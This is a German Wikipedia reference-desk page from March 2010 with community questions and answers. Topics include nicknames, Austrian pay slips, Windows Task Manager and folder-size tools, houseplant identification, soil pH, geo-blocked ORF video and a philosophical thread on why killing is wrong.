Spitznamen sind natürlich ein weltweites Phänomen, das es wahrscheinlich in allen Sprachen gibt. Das Leute aber auch auf mehr oder weniger offiziösen Dokumenten mit ihrem Spitznamen aufgeführt werden, oder gar mit ihrem Nick unterschreiben, wäre mir in größerem Maßstab eigentlich nur aus dem (amerikanischen) Englisch bekannt (außer bei Künstler- und Ordensnamen, aber das ist wieder ein anderes Thema). Etliche gebräuchliche englische Nicks wurden schon von G.G. genannt (daneben fallen mir Tom, Pat, Jim ein). Allerdings wären auch nach Häufigkeit sortierte Listen von Nicks nur von begrenztem Wert, wenn Du z.B. einen Lewis Libby neben einem Scooter Libby fändest. Da hat der Spitzname nichts mit dem Taufnamen zu tun, und dennoch ist es ein und die selbe Person... Ugha-ugha 14:37, 23. Mär. 2010 (CET) Nachtrag, weitere Erschwernis: derselbe Taufname kann sich in mehrere Spitznamen weiterentwickeln, nicht nur einen. Vgl.: Bram Stoker und Abe Lincoln. Ugha-ugha 00:00, 24. Mär. 2010 (CET)

Siehe auch: en:Hypocorism --95.223.207.169 00:19, 24. Mär. 2010 (CET)
Was für seltsame Spitznamen haben wir denn da im Deutschen? Ein Gustav wird bei uns Gus oder Gilroy genannt? Und aus einem Karl wird ein K. Friedrich? Dolfz für Adolf kling auch interessant... Ugha-ugha 07:19, 24. Mär. 2010 (CET)
Da scheint sich ein Spaßvogel am englischen Artikel verlustiert zu haben ... -- Arcimboldo 07:27, 24. Mär. 2010 (CET) PS: da wars, eine IP aus Ohio. Habe die Sektion mal geleert und nur drei neue eigene eingefuegt, vielleicht koennen die Auskuenftler beim verbesserten Wiederaufbau mithelfen.
Wie siehts denn aus mit Rudi (Rudolf), Max (-imilian), Anni (Anna/Anne), Tine (Christine/-a)? Und zumindest in meiner Generation heißt ein Florian meist Flo, ein Sebastian Basti, eine Julia(ne) Jule; auch wenn ich nicht weiß, inwiefern sich Betroffene tatsächlich unter diesen Namen vorstellen (nur zu Jule fällt mir ein Beispiel ein, das aber nun auch nicht mehr Jule heißen will). Zu Josef fällt mir (ergänzend zur Liste in en:) noch, obwohl geographisch seeehr fern sehend, der Name Jupp ein. Und eine Ursula würde zumindest hier im Ossiland wohl eher Ursel als Uschi heißen. --slg 01:04, 25. Mär. 2010 (CET)
Yes! It's a wiki... --Arcimboldo 03:22, 25. Mär. 2010 (CET)

Lohnzettel bei geringfügiger Beschäftigung zwischen Privatpersonen

Situation: In Österreich beschäftigt Alice Bob geringfügig für Gartenarbeit u. a. Da keine Lohnsteuer anfällt, verzichten sie auf monatliche Lohnzettel, und es funktioniert soweit gut. Bob stellt aber einmal einen Antrag auf Sozialhilfe. Das Sozialamt verlangt monatliche Nettolohnzettel für diese geringfügige Beschäftigung. Also wird Alice, Bob zuliebe, welche schreiben. Aber wie müssen die aussehen, was muss da alles draufstehen? --77.117.244.2 14:22, 23. Mär. 2010 (CET)

Also auch wenn ich mich mit österreichischem Sozialhilferecht auskennen würde, hätte ich vermutlich das Gefühl, dass das hier nicht der richtige Ort für diese Frage ist. Wenn ein Anwalt zu teuer ist, würde ich mal beim Amt nachfragen, was drauf stehen soll! --Snevern 14:26, 23. Mär. 2010 (CET)
Ein Anwalt für so eine allgemeine Auskunft? Die Telefonistinnen im Amt wiederholen leider immer nur gebetsmühlenartig, ein "ganz normaler Lohnzettel". --77.117.244.2 15:10, 23. Mär. 2010 (CET)

da mal lesen: Geringfügige Beschäftigung#Geringf.C3.BCgige Besch.C3.A4ftigung in .C3.96sterreich? oder da: http://www.wkw.at/docextern/abtfinpol/extranet/wkoat/Lohnverrechnung/DerLohnzettelwko.pdf --Heimschützenzentrum (?) 15:19, 23. Mär. 2010 (CET)

Danke soweit, aber der verlinkte Jahreslohnzettel ist nicht gemeint. Mal anders gefragt: Was kriegt denn der ganz normale Arbeitnehmer monatlich für ein Papier, und was steht da alles drauf? --77.117.244.2 16:32, 23. Mär. 2010 (CET)
als ich noch versicherungspflichtig gearbeitet habe, stand da der monat, das jahr, mein name, meine adresse, der arbeitgeber, das brutto gehalt, die abzüge, das netto gehalt und die ganzen zuschläge für steuerfreie nachtarbeit z b und so... --Heimschützenzentrum (?) 16:44, 23. Mär. 2010 (CET)
Wärs bei so einer Situation nicht einfacher, Bob schreibt Alice regelmäßige Rechnungen für eine Tätigkeit als selbstständiger Landschaftspfleger? Das müsste das Sozialamt doch auch akzeptieren. --DuckobertDag 17:35, 24. Mär. 2010 (CET)

Task-Manager: Standardeinstellungen wiederherstellen?

Ich Idiot habe an meinem Task-Manager (Vista) rumgespielt (Ansicht > Spalten auswählen) und habe jetzt als Resultat fürchterliche Mist-Einstellungen, die ich beim besten Willen nicht mehr wegkriege. Daher meine Frage: Gibt es irgendeine Möglichkeit, den Task-Manager auf die Standard-Einstellungen zurückzusetzen? Gruß, -- Felix König Artikel Portal 21:00, 23. Mär. 2010 (CET)

Hast Du Systemwiederherstellung schon versucht?--91.56.204.158 21:07, 23. Mär. 2010 (CET)
Nee, ich will ja kein ganzes Backup laden. -- Felix König Artikel Portal 21:23, 23. Mär. 2010 (CET)
Einfach das Häkchen wieder bei den Spalten setzen, die standardmässig ausgewählt sind, geht nicht? Bei mir wären das (allerdings mit Windows 7): Benutzername, CPU-Auslastung, CPU-Zeit, Arbeitsspeicher - Privater Arbeitssatz und Beschreibung. --80.219.84.44 22:02, 23. Mär. 2010 (CET)
Oder einfach den tAsk Manger vergessen und statt dessen Process Explorer benutzen. Ciao, --AM 22:56, 23. Mär. 2010 (CET)
Bei der Systemwiederherstellung lädst Du kein ganzes Backup. Wie der Name schon sagt, stelltst Du nur einen früheren Zustand her, nämlich den Zustand, als der Taskmanager noch voll funktionierte. GGf. Zwischenzeitliche Neuinstallationen musst Du wiederholen--91.56.204.158 07:33, 24. Mär. 2010 (CET)
@80.219.84.44: Danke, perfekt. Bis auf die CPU-Zeit (die ich weider rausgenommen habe) ist das genauso wie vorher. @AlMare: Ja, den Process Explorer hatte ich als Ersatz genommen, während der Task-Manager quasi unbrauchbar war. Nützliches Tool, aber für die Dauer finde ich es nicht ganz so toll. @91.56.204.158: Danke, da hast du Recht; letztendlich habe ich aber dann doch den einfacheren Vorschlag genommen. Gruß, -- Felix König Artikel Portal 20:48, 24. Mär. 2010 (CET)

WinXP - Ordnergröße Anzeigen?

Hallo zusammen. Kennt jemand eine Möglichkeit, sich in der Übersicht im Explorer die Größe aller Ordner, jeweils mit Unterordnern und enthaltenen Dateien, anzeigen zu lassen? Rechtsklick und "Eigenschaften" geht einwandfrei, ich würd aber gerne alle auf einmal sehen, Zwecks Ausmisten meiner Festplatte. Das Feld für die Größe ist aber bei Ordnern leider leer. Danke und Gruß, Wiebelfrotzer 23:58, 23. Mär. 2010 (CET)

Ist zwar nicht direkt was du suchst, aber das Freeware-Tool könnte die sehr nützlich sein: Sequoia View (siehe hier: [11] ). Das scannt deine Festplatte und zeigt dir, in Form von unterschiedlicher großen Blöcken, welche Dateien am meisten Platz einnehmen. Da hat man alle "Platzverbraucher", vor allem die größeren, auf einen Blick... --84.146.204.142 00:04, 24. Mär. 2010 (CET)
Zu dem Zweck verwend ich das Programm WinDirStat, das ebenfalls Freeware (GPL) ist. Aber ich kenn auch ein Plug-in, das im Explorer beid er Detailansicht es möglich macht, mit "Details Auswählen" die Spalten "Ordnergröße", "Anzahl Dateien", "Anzahl Ordner" sowie "Anzahl Objekte" anzuzeigen. Dieses Plug-in heißt FolderSize und ist ebefalls Freeware. --MrBurns
Es gibt glaube ich auch ein Programm namens Treesize. Habe ich vor Jahren mal mit Gewinn benutzt. --Wolli 08:25, 24. Mär. 2010 (CET)
Ja, aber das ist leider keine Freeware und nur eine beschränkte Zeit nutzbar. --MrBurns 08:27, 24. Mär. 2010 (CET)
Geht auch über das gute alte DOS:
Programme - Zubehör - Eingabeaufforderung:
dir *.* /s |more
Jede Datei wird mit Größe angezeigt, ebenso jeder Ordner Gruß -- Dr.cueppers - Disk. 12:53, 24. Mär. 2010 (CET)
Nachtrag: Noch günstiger ist es, sich diese Daten nicht nur anzeigen zu lassen, sondern "als Text-Datei" mit beliebigem Namen abzuspeichern, zum Beispiel in einer Datei mit dem Namen "alles.txt"
dir *.* /s >alles.txt
Das dauert ein paar Minuten. Beide Methoden funktionieren übrigens in sämtlichen WINDOWs-Versionen und kosten keinen Cent. Gruß -- Dr.cueppers - Disk. 13:21, 24. Mär. 2010 (CET)
Dank' Euch allen, Foldersize ist für meine Zwecke optimal. Gruß, --Wiebelfrotzer 15:23, 24. Mär. 2010 (CET)

Durschnittliches Einkommen in Indonesien

Verstehe ich das richtig, dass im Artikel unter Wirrtschaftskennzahlen beschrieben wird, dass das durchschnittliche Einkommen eines Indonesiers in 2004 bei 1.146,00 US$ jährlich lag (ich komme immer wieder mit den Kommas nicht zurecht). Kann jemand eine aktuellere Zahl nennen? --Ian DuryHit me 11:38, 24. Mär. 2010 (CET)

Ja, das soll der BIP/Einwohner sein. Allerdings steht unter Indonesien#Wirtschaft etwas von 3.500 US$ (auch im Jahr 2004). Hm... --Pilettes 13:40, 24. Mär. 2010 (CET)
Das CIA World Factbook zeigt das BIP bei Kaufkraftparität. Deswegen der höhere Wert. --88.70.87.31 15:14, 24. Mär. 2010 (CET)

Wer kennt diese Zimmerpflanzen

Hallo,

Ich habe mir heute Morgen 3 Zimmerpflanzen gekauft. Leider habe ich keine Ahnung, was das denn für Pflanzen sind. Im Baumarkt wussten die Mitarbeiter leider auch nichts, da ich recht früh da war und die Kollegin, die sich da sehr gut auskennt, noch nicht da war.

Wäre toll, wenn mir jemand die Namen sagen könnte..... dann könnte ich per Google mal suchen, wie oft man gießen und düngen muss.

Es handelt sich um diese 3 Pflanzen:

--Einer aus Finthen 12:03, 24. Mär. 2010 (CET)

  • Pflanze 1: Dracaena (Drachenbaum)
  • Pflanze 2: Schefflera
  • Pflanze 3: Ne ganz junge Kokospalme oder Chamaedorea.

LG;-- Nephiliskos 12:18, 24. Mär. 2010 (CET)

Wow, das ging ja schnell. Wollte gerade vorschlagen, sich da: Kategorie:Zierpflanze umzuschauen. --Sr. F 12:19, 24. Mär. 2010 (CET)

Hallo, Vielen Dank für diese schnelle Antwort. --Einer aus Finthen 12:20, 24. Mär. 2010 (CET)

Gern geschehen. *hofknicks* ;-) LG;-- Nephiliskos 12:21, 24. Mär. 2010 (CET)
was ist denn diesse Plastikteil auf Bild 2? --Aalfons 16:15, 24. Mär. 2010 (CET)
das sollte ein elektro-steinofen sein. --kulacFragen? 16:25, 24. Mär. 2010 (CET)
übrigens die Pflanze zwei kriegt sehr schnell Schildplattläuse die, einmal da, nicht mehr wegzubekommen sind; am besten vorbeugend Kaffesatz auf die Erde kippen. --62.143.74.253 16:35, 24. Mär. 2010 (CET)
Ein Elektro-Steinofen aus Plastik? Erstaunlich. --Aalfons 16:38, 24. Mär. 2010 (CET)
http://www.amazon.de/elta-PO100-Elta-Pizza-Ofen/dp/B000N1Y3WW --Vsop 16:51, 24. Mär. 2010 (CET)
boah, sieht das Teil scheiße aus. Aber kann man wohl die Blattläuse drin rösten. --Aalfons 18:07, 24. Mär. 2010 (CET)
Auch wenn der Ofen hässlich ist: Die Pizza daraus ist echt gut :-) --Einer aus Finthen 21:52, 24. Mär. 2010 (CET)

extremistische Straftaten - Übersicht?

Ich lese gerade in der Zeitung, die Zahl extremistischer Straftaten sei auf Höchststand. Mich interessiert dabei mehr, was da so alles zusammenkommt - Gibt es eine möglichst detaillierte Übersicht omline? --90.128.126.4 12:50, 24. Mär. 2010 (CET)

Hier zunächst mal die vollständige Meldung des Bundesministeriums des Innern. --217.162.118.38 15:02, 24. Mär. 2010 (CET)

Schwimmwanze Ilyocoris cimicoides

Ich habe in verschiedenen (auch aktuellen) Büchern gelesen, dass die Schwimmwanze Ilyocoris cimicoides zwar ausgebildete Flügel hat, aber aufgrund zurückgebildeter Flugmuskeln flugunfähig ist. Nun habe ich vor wenigen Tagen selbst eine schmerzhafte Begegnung mit dem Tier, nämlich als ich es aus der Luft heraus (!) in die hand nehmen wollte. Die Wanze flog in der Nähe eines Kleinstgewässers unter meiner Beobachtung etwa 12 Meter weit in einer Höhe von ca. 150 cm und langsam aufsteigend.

Gibt es irgendwelche Veröffentlichungen in denen der Flug dieser Wanze beschrieben ist oder handelt es sich dabei um eine noch nicht dokumentierte Verhaltensweise? --85.176.27.9 13:49, 24. Mär. 2010 (CET)

Bist du denn ganz sicher, dass es genau diese Art war? Könnte es ein Gelbrandkäfer gewesen sein? In unserem Artikel steht (noch) nichts davon, dass die Schwimmwanze flugunfähig ist, in meinem Parey aber schon. Es sind dort aber auch noch andere ähnliche Wanzen drin, die am Ufer leben und durchaus fliegen können, z.B. Ochterus marginatus. --Sr. F 13:54, 24. Mär. 2010 (CET)
Eine Schwimmwanze war es 100%ig. Man konnte die großen Augen und die gekrümmten Vorderbeine erkennen, es hatte im Ruhezustand sich überlappende Flügel mit durchsichtigem Feld an den Spitzen. Außerdem hat das Tier in der Sonne grün aufgeblitzt. Das Bestimmungsbuch von Parey hab ich auch. --85.176.27.9 14:02, 24. Mär. 2010 (CET)
Ochterus marginatus war es ganz sicher nicht, es war schon eine Schwimmwanze. --85.176.27.9 14:06, 24. Mär. 2010 (CET)

Beschleunigte Videos bei youtube "damit sie auch in Deutschland verfügbar sind" - Was soll das?

Hallo zusammen. Eigentlich steht die Frage schon oben, aber noch etwas ausführlicher: Ich bin bei youtube über mehrere Musikvideos gestolpert, die mit dem Hinweis "Das Video wurde etwas beschleunigt, damit es auch in Deutschland verfügbar ist" versehen waren. Wozu soll das bitte gut sein? Aus urheberrechtlicher Sicht dürfte sich doch wohl überhaupt nichts ändern. Und wenn's darum ginge, die Rechteverletzung zu verschleiern, indem man die Dateigröße bzw. die Videolänge "manipuliert", gäbe es doch wohl auch andere Möglichkeiten, und sei's nur, noch ein Standbild hintendran zu packen. Also kurz und gut: Was denken sich die Einsteller dabei? Gruß, Wiebelfrotzer 17:30, 24. Mär. 2010 (CET)

Eine Thorie wäre, dass sie dadurch Algorithmen austricksen, die automatisch bestimmte urheberrechtlich geschützte Werke erkennen. Ich habe mit der Begründung auf youtube schon gespiegelte Videos gefunden. Tatsächlich waren die nichtgespiegelten alle entfernt worden. Ob die Hintergründe so stimmen weiß ich aber nicht :) --StYxXx 18:07, 24. Mär. 2010 (CET)
Wahrscheinlich deswegen: PAL-Beschleunigung --K. Klammer 19:20, 24. Mär. 2010 (CET)
PAL spielt bei YouTube-Videos keine Rolle, da sie weder in NTSC noch in PAL kodiert sind. Das YouTube-Format ist in Europa dasselbe wie in Amerika. --88.130.185.126 20:59, 24. Mär. 2010 (CET)
So ähnlich wie Styxx hatte ich mir das auch gedacht, aber so ein Algorithmus würde ja dann vermutlich die Länge und Dateigröße scannen. Dagegen gibt's aber doch einfachere und vor allem "Benutzerfreundlichere" Mittel. Gruß, Wiebelfrotzer 21:02, 24. Mär. 2010 (CET)
Ich geh mal davon aus, dass der Algorithmus Länge und Dateigröße nur teilweise in Betracht zieht und eher nach Frequenzen und Bit-Mustern innerhalb der Dateien sucht, sowie die Titel, Beschreibungen und Kommentare. --88.130.185.126 21:23, 24. Mär. 2010 (CET)
Naja, Titel und Kommentare waren in dem Fall sehr aussagekräftig. Frequenz wäre aber ein Ansatzpunkt, daran hab ich nicht gedacht. Gruß, Wiebelfrotzer 21:39, 24. Mär. 2010 (CET)

Kann hier jemand russisch?

[12] --Atlan Disk. 18:36, 24. Mär. 2010 (CET)

Um was geht's? Transkription des Titels? Bei dem Edit gehts um das Werk "Путь ко спасению" (zu deutsch etwa "Weg zur Errettung" oder "Weg zum Heil"). Übersetzungs- und Transkriptionsfragen sind übrigens bei der Disk. des Russland-Portals besser (oder am besten) aufgehoben. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 19:45, 24. Mär. 2010 (CET)
Ergänzung: Das Zeichen dass da eingefügt wurde, wird bei der wissenschaftlichen Transliteration kyrillischer Wörter verwendet. Es weist darauf hin, dass das t bei Put weich ausgeprochen wird (also nicht Putt). Auf sowas würde ich in Artikeln nur achten, wenn ich eine einheitliche Schreibweise herstellen will - ansonsten ist das nicht von Bedeutung. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 20:16, 24. Mär. 2010 (CET)
dann sichte ich mal. Danke. --Atlan Disk. 20:27, 24. Mär. 2010 (CET)

Was ist los mit Wikipedia?

Ich habe keinen Zugang mehr zu Wikipedia, nur noch über secure.wikimedia.org/wikipedia Und das auch nur sehr langsam. Woran liegst und wann geht es wieder besser? --80.219.41.242 18:50, 24. Mär. 2010 (CET)

Erholt sich offenbar gerade wieder. Scheint eine Überhitzung der Server gewesen zu sein und allerlei im Gefolge. Rainer Z ... 18:54, 24. Mär. 2010 (CET)
Also ich hab auch schon seit über einer Stunde Probleme. Mittlerweile kann man ja wieder zugreifen und die Artikel zumindest in einer Rohversion ohne Bilder sehen. Das Problem scheint international zu sein. Bei Commons erhalte ich nur die Bildbeschreibung ohne Bild, wenn ich dann auf denn link zum Vergrößern klicke, sagt mir der Wirefox, dass der Server nicht verfügbar sei... --Rupert Pupkin 19:07, 24. Mär. 2010 (CET)
Wikipedia:Fzw#Wird_gerade_am_Server_gebastelt.3F --91.56.141.29 21:24, 24. Mär. 2010 (CET)

Senkung des ph Wertes

Ich möchte keinen Torf verwenden, um den Boden ph Wert zu senken. Welche Möglichkeiten gibt es? --217.251.158.105 22:23, 24. Mär. 2010 (CET)

kalk aus dem gartencenter? --Heimschützenzentrum (?) 22:40, 24. Mär. 2010 (CET)
Wäre das nicht kontraproduktiv? Er will den Boden doch säuern. Ungereinigter Schwefel wird von Gärtnern noch empfohlen. Ohne Gewähr. 85.180.201.217 23:05, 24. Mär. 2010 (CET)
oh ja - ich dachte er wollte weniger sauren boden... wie wärs dann mit zitronensäure-pulver aus dem putzmittelladen? --Heimschützenzentrum (?) 23:46, 24. Mär. 2010 (CET)
Vieleicht hilft dir dies und das weiter.--91.14.78.224 09:44, 25. Mär. 2010 (CET)

Einwohner von Miami

Wie nennt man die Einwohner von Miami bzw. wie nennen sie sich selbst? --84.164.94.45 22:27, 24. Mär. 2010 (CET)

Die englische WP nennt als Demonym Miamian. Grüße 85.180.201.217 22:33, 24. Mär. 2010 (CET)
Aber das wäre dann ja auch Englisch. Wir nennen Franzosen ja auch nicht "French". In diesem Fall dürfte es aber nicht zu sehr abweichen. Ich ginge mal von Miamianer, also als Adjektiv miamianisch aus.--213.168.117.74 05:27, 25. Mär. 2010 (CET)
+1 Mir ist die Analogie zw. Miami und Hawaii aufgefallen, wo beides Mal - im Englischen - "-an" angehängt wird (Hawaiian). Deswegen (Hawaiianer) auch Miamianer. Gibt es noch mehr engl.=> dt. Analogien zu Orten/Städten, die auf "i" enden? G! GG nil nisi bene 09:09, 25. Mär. 2010 (CET)
Corpus Christi -> Corpus Christianer? --Joyborg 10:12, 25. Mär. 2010 (CET)
Aber klar doch ! G! GG nil nisi bene 10:50, 25. Mär. 2010 (CET)

Merkwürdige Video-Einbettung

Wieso schaffe ich (Mac OSX 10) es nicht, mir dieses brisante Videomaterial anzugucken? Ich hab schon das Browser-Plugin namens Silverlight runtergeladen, mit dem Ergebnis, dass mir das Video 30 Sekunden lang original genau gar nix anzeigt. Beim Versuch, es "mit einem externen Player" (da ist bei mir ausschließlich VLC im Angebot) zu öffnen, scheitere ich ebenso. Mein VLC zeigt ganz einfach gar nichts an sondern spielt stillschweigend das nächste Video in meiner Wiedergabeliste. Irgendwelche Tipps? Springbank 23:24, 22. Mär. 2010 (CET)

Vielleicht weil dieses Video aus rechtlichen Gründen nur in Österreich abgespielt werden darf? :) (Zumindest stand es bei mir so im externen Player). --Pilettes 23:42, 22. Mär. 2010 (CET)
Oh Gott, auf solche Widerstände stößt man also als Ösi in Berlin. Danke für die erhellende Auskunft. Springbank 23:45, 22. Mär. 2010 (CET)
Da ich nur paar Kilometer von Ösiland entfernt wohne, interessiert es mich auch, was da vielleicht herüberschwappen könnte. Auch im Fernsehen lese ich öfters "Keine ORF-Rechte", wobei aber ein Musikantenstadel gleich aus mehreren Kanälen trieft und schleimt. Seltsam, seltsam.--91.56.203.76 08:19, 23. Mär. 2010 (CET)
der Musikantenstadl ist auch eine Eurovision-Sendung. Zum anderen, Zitat aus dem Artikel Österreichischer Rundfunk: "Ende Jänner 2007 klagte der ORF gegen den Deutschen Kabelnetzbetreiber Kabel-BW, da der ORF in Deutschland nicht empfangen werden möchte. Nachdem der ORF Klage eingereicht hatte, nahm KabelBW die Sender sofort heraus. Der ORF kauft Film- und Serienrechte nur für Österreich und müsste bei einer Ausstrahlung in Deutschland auch diese Rechte kaufen, was aufgrund der hohen Kosten jedoch unmöglich ist." -- Heimli Hier werden Sie geholfen! 10:00, 23. Mär. 2010 (CET)
I call BS. Die Verbreitung von ORF im KabelBW-Netz schwankt je nach Wohngebiet. In Ulm ist z. B. ORF2 rausgeflogen, ORF1 aber durchaus noch zu empfangen. Siehe hier[13] z. B. mit dieser Adresse: PLZ: 89079, Ort: Ulm, Straße: Abt-Modest-Platz, Hausnummer: 2 (Nein, das ist nicht meine Adresse, sondern die erste Adresse, die im Suchfenster bei dieser PLZ auftaucht) - "Fernsehen analog" in der Popup-Seite auswählen, Kanal K29.
In diesem [14] PDF sieht man auf Seite 3 in der rechten Spalte auch, dass es andere Anbieter gibt, die sogar noch beide ORF-Kanäle einspeisen.
Richtig ist: Der/Die Sender wird/werden von KabelBW nicht überall eingespeist, siehe z. B. die Adresse PLZ: 74321, Ort: Bietigheim-Bissingen, Straße: Aberlin-Jörg-Str., Hausnummer: 1 (Nein, das ist auch nicht meine Adresse, sondern wieder die erste Adresse, die im Suchfenster bei dieser PLZ auftaucht)
-- 78.43.60.58 20:40, 25. Mär. 2010 (CET)

Warum ist Töten falsch?

Ich würde gerne wissen, warum es falsch ist einen anderen Menschen zu töten. Bitte nicht mit Gesetzen und/oder Religion antworten, denn ich möchte eine Antwort, die auch ein gesetzloser Atheist verstehen kann. --95.89.49.84 19:57, 23. Mär. 2010 (CET)

kategorischer Imperativ vllt? --Heimschützenzentrum (?) 20:00, 23. Mär. 2010 (CET)

Natürlich ist Töten nicht immer und überall "falsch" (=moralisch schlecht). --77.177.45.94 20:06, 23. Mär. 2010 (CET)

Beantworte Dir die Frage doch mal ob es falsch ist, dass Du Dich selbst tötest. Die meisten anderen Menschen wollen nämlich nicht getötet werden und hätten was dagegen. Und deswegen ist das falsch.--91.56.204.158 21:14, 23. Mär. 2010 (CET)
Ohne gesellschaftliche Grundkonditionierung (wurst, ob du es Religion, Recht, Freunschaft, Mitleid, Angst vor Rache etc. pp. nennst) sind Fragen zu richtigem und falschem Handeln nur schwer zu beantworten. Denn die Unterscheidung zwischen Richtig und Falsch verlangt uns bereits soviel Verstand und Kommunikation ab, dass sich die moralischen Regeln fast wie von selbst einstellen. (Jürgen Habermas erklärt das durch ein, der Sprache innewohnendes Vernunftpotential) Die Genese und Begründung von Regeln (zb des Tötungsverbots) ist Thema der Philosophie. Diese kann man schlecht hier mal eben erklären (ich schon gar nicht). --Krächz 21:36, 23. Mär. 2010 (CET)
Evtl. Arterhaltung? --94.220.143.152 21:39, 23. Mär. 2010 (CET)
Ein erster Antwortversuch (mehr kann es ja nicht sein): Ich bin mir nicht sicher, ob nicht schon sehr früh zwischen töten und morden unterschieden wird. Aber wie auch immer, töten (ich bleib mal bei diesem Wort) ist endgültig und unumkehrbar. Keiner wird gerne getötet. Sicher, Ausnahmen gibt’s immer, aber das 5. bzw. 6. Gebot ist ja nun wesentlich älter als die Zehn Gebote, könnte also durchaus auch einen ersten Ursprung eines Gesellschaftvertrages in sich bergen. An der Religion – zumindest in ihrer Rolle als der Instanz, die diese „Vertragsregel“ formuliert und auf ihre Einhaltung achtet – führt dann allerdings irgendwann kein Weg mehr vorbei. Ich habe mal (ich glaube, im Spiegel) von einem beobachteten „Mordfall“ unter Affen gelesen, bei dem dem „Mörder“ in seinem Verhalten nach der Tat Schuld- bzw. Unrechtsbewußtsein unterstellt und aninterpretiert wurde. Bei solchen Stories sollte man gewiß sehr skeptisch sein. Was ich in Beißhemmung hinsichtlich der Studien von Erik Zimen dazu lese, deutet aber schon daraufhin, daß es bereits unter Tieren erlernt werden könnte, sich nicht zu töten. Daß es sich bei dem Tötungsverbot" also um ein präreligiöses, prästaatliches und präjuristisches Phänomen handelt. Das Erlernen würde wiederum diese Behauptung in Frage stellen: „Die Tabuverbote entbehren jeder Begründung, sie sind unbekannter Herkunft; für uns unverständlich, erscheinen sie jenen selbstverständlich, die unter ihrer Herrschaft leben.“. --84.191.51.103 21:39, 23. Mär. 2010 (CET)
Nachtrag: Ich bin übrigens überzeugt davon, daß wir in bestimmten Situationen und unter bestimmten Umständen als Menschen erst erlernen, daß man Falsches durchaus tun kann, also auch töten. --84.191.51.103 21:57, 23. Mär. 2010 (CET)

"Falsch" ist das Menschentöten nur da, wo Menschen sich im Rahmen von Gesetz, Moral und Religion darauf verständigt haben, es falsch zu finden und falsch zu nennen. Ansonsten ist die "Falschheit" des Tötens objektiv aus Logik und Naturgesetz nicht abbleitbar. Man kann allenfalls einsehen, dass es in Hinblick auf Art- und Selbsterhaltung irrational sein kann, gewisse Artgenossen zu töten, auf die man angewiesen ist (als Jagd-/Produktions-/Kampf- oder Fortpflanzungspartner). Wenn du also eine Antwort willst, die auch ein "gesetzloser Atheist" verstehen kann, dann ist das irgendwie so, als würdest du nach einer Antwort fragen, die auch ein Analphabet lesen kann. Ein Widerspruch in sich. Krawallbürste 21:44, 23. Mär. 2010 (CET)

Rein naturwissenschaftlich betrachtet magst du Recht haben. Da "gesetzloser Atheist" aber die Philosophie nicht ausschließt, wäre das durchaus ein Ansatzpunkt. Zitat zum Thema, völlig ohne Gesetz und Religion:

„Many that live deserve death. And some die that deserve life. Can you give it to them? Then be not too eager to deal out death […].“

Gandalf: Der Herr der Ringe, Band 1, Kapitel 2
--El Grafo 22:12, 23. Mär. 2010 (CET)

Goldene Regel?--83.135.77.123 22:01, 23. Mär. 2010 (CET)

Schade, ich finde den Artikel über den Affen, der einen heimtückischen Mord geplant und ausgeführt und sich danach angeblich geschämt hat, nicht wieder. Dafür einen passablen Aufsatz, über den man, denke ich, gut streiten kann. Weiterhin Hinweise darauf, daß bei Schimpansen innerhalb der eigenen Gruppe das Tötungsverbot halbwegs funktioniert, aber in Krisensituationen auch seine Grenzen findet:
Beobachtungen von D. Bygott beschreiben Devianz (mutmaßlicher „Kannibalismus“) durch Schimpansen im Jahr 1971 [15] und Katie Slocombe berichtet 2007 über Baby-Morde, die ihre Ursache mutmaßlich im „Kampf um Ressourcen“ haben. [16].
Jane Goodall hat wohl ähnliches erlebt (und angeblich interveniert!) und berichtet von gemeinschaftlichen harten Gewalttätigkeiten innerhalb der Gruppe, die sich exzessiv verselbständigen können (Der Spiegel formuliert da genüßlich: „Im Gefolge solcher Aktionen gegenüber einzelnen fallen häufig nach und nach gänzlich unbeteiligte Tiere übereinander her, ähnlich bayrischen Bierdimpfeln bei einer Wirtshausrauferei.“), sowie von einer 1974 beobachteten Situation, die sehr eindeutig als Ausrottungskrieg gegen eine fremde Gruppe beschrieben wird. (Der Spiegel 19/1978, Der Spiegel 49/1986, Der Spiegel 12/1992)
Das Großhirn ist jedenfalls offenkundig nicht oder noch nicht die Ursache des Tötungsverbotes. Zitat: „Zwar unterscheide sich der Mensch, so Goodalls Schlußfolgerungen, im Grundsätzlichen seines Wesens nur graduell vom Affen. Aber: "Wir dürfen auch nicht für einen Augenblick vergessen, daß gerade diese graduelle Differenz den großen Unterschied zwischen uns und den Affen ausmacht" - schließlich verfügt der Mensch, im Gegensatz zum Schimpansen, über ein hochentwickeltes Großhirn, in dem unter anderem das Bewußtsein seinen Sitz hat. Dadurch ist, so die Verhaltensforscherin, zum Beispiel "unser Verständnis für das Leiden, das wir über unsere Opfer bringen, von einer gänzlich anderen Größenordnung" - mit anderen Worten: Der Mensch könnte, wenn er nur imstande wäre, sein Hirn etwas intensiver bemühen. Warum ihm gerade dies so schwerfällt, haben die Gehirnphysiologen längst herausgefunden. Das Stammhirn, der entwicklungsgeschichtlich älteste Teil des menschlichen Gehirns, in dem unter anderem Instinktregungen wie Angst und Aggression angesiedelt sind, hat sich in den vielen Jahrmillionen der Evolution strukturell kaum verändert; überdies ist es nur durch vergleichsweise wenige Nervenstränge mit dem Großhirn verbunden - mithin vermag die Ratio die archaische Gefühlswelt des Menschen nur bedingt zu kontrollieren. Die ihm innewohnende Aggression, gepaart mit Intelligenz, so glaubten Psychologen und Philosophen lange, mache den Menschen zum einzigen Lebewesen, das organisierte Kriege führen könne - bis Jane Goodall berichtete, daß ihre Schimpansen einen benachbarten Stamm planmäßig ausgerottet hatten.“ (Der Spiegel 19/1978)
Vorläufiges Fazit: Es scheint so, daß wir zwar lernen, daß getötet werden keinen Spaß macht und zumindest die eigenen Leute ihre Ruhe haben sollten. Irgendwer hat auch irgendwann daraus versucht hat, eine Regel zu machen. Ein Seitenblick auf die Menschheitsgeschichte läßt aber vermuten, daß wir gleichzeitig auch lernen, daß, wenn es drauf ankommt und um die eigene Haut geht, man sich um diese Regel nicht mehr kümmern muß.
